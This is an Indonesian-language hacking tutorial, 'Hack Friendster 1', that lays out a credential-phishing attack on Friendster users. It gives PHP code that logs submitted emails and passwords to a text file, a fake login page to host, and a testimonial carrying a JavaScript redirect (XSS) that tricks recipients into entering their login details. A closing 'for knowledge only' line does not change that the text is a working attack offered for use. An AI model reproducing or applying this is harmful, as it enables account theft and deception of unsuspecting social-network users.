Hack Friendster 1

1. Web Hosting yg support PHP. Cari di paman Google banyak.
2. Upload file index.htm (ada di source).
3. Sertakan code php dan JavaScript di bawah ini dan ” SAVE As ” sesuai dg nama link yg dituju pada Form Login.
   $email = $_POST[email];
   $password = $_POST[password];
   $fl = fopen(’password.txt’, ‘a’);
   fwrite($fl, “$email . $password \n\n”);
   fclose($fl);
   ?>
   Dan upload file diatas ke www.webyangsupportphp.com
4. Buat file Text kosong dengan nama Sesuai perintah Open pada php code di atas. Jangan lupa CHMOD diganti sesuai dg kebutuhan kamu!!
5. Kirim testi dg :
   Hai Boleh knlan ? .. Setelah sang target penerima testi membuka “New Testimonials”, maka sesuai dg perintah yang berada di JavaScript => window.location <= yg disisipkan maka link akan menuju ke http://webyangsupportphp.com/index.htm . setelah terbuka, secara tanpa sadar sang target mengira halaman yg terbuka adalah sungguhan. Ya !!!! tanpa disuruh langsung mengisi Form login tipuan.
   Selain itu teknik diatas akan terlihat seperti aslinya jika menggunakan ” OVERLAY GENERATOR ” pada profil fs pada saat pengiriman testimonial yg berisi html code ( index.htm). Dg mengganti link Relatif menjadi absolut(baca S.I.H lebih lanjut) pada form login di index.htm maka pada saat pengiriman data akan menuju ke http://webyangsupportphp.com/login.php
   Kesimpulan :
   # Hacking tidak selamanya menggunakan ” TOOLS “
   # Kelemahan XSS merupakan bahaya besar

Inget, ini cuma untuk pengetahuan !